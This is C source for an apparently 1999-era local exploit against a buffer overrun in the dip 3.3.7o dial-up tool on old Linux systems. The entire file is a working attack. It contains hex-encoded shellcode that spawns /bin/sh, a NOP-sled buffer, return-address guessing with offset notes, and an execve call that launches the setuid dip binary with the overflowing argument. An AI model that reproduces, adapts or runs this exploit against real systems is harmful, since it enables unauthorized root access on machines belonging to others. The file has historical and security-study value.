/*
 * dip-3.3.7o buffer overrun                            Jan/99
 * 
 * Code ripped from zef and r00t @ promisc.net for slack 3.4
 * and slightly recoded for use on RedHat 5.1 (at least german version) by
 * stealth@gizmo.kyrnet.kg
 * 
 * My offset was 5520 <--> 5520 + 10
 *
 * if using dipex.c for brute-guessing it changes to 6000-6010. 
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static inline getesp()
{
   	__asm__(" movl %esp,%eax ");
}

main(int argc, char **argv)
{
   	int offset = 0,i = 0, j = 0, n = 0, absolute = 0;
        unsigned long xaddr = 0;
        char *cmd[5] = {0}, buf[4096];
        int bufflen = 128-21+8;	/* this is the size of the overflowed buffer */

   	char code[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
           	      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
                      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

   	if (argc < 2) {
           	xaddr = 0xbfffd774;
                absolute = 1;
        } else
           	offset=atoi(argv[1]);
      
        for (i = 0; i < bufflen - strlen(code) - 4; i++) 
           	buf[i] = 0x90; 
        for (n = 0, j = i; j < bufflen - 4; j++) 
           	buf[j] = code[n++]; 
                
        if (!absolute)
           	xaddr = getesp() - offset;
   	*(long*)(buf+j) = xaddr;
        
        printf("getesp() = %x ->\n", getesp());
        printf("using return adress %x (correct adress = %x)\n", *(int*)(buf+j), xaddr);
  
     	cmd[0] = "/usr/sbin/dip";
        cmd[1] = "-k"; 
        cmd[2] = "-l";
        cmd[3] = buf;
        cmd[4] = NULL;
   	execve(cmd[0],cmd,NULL);
}

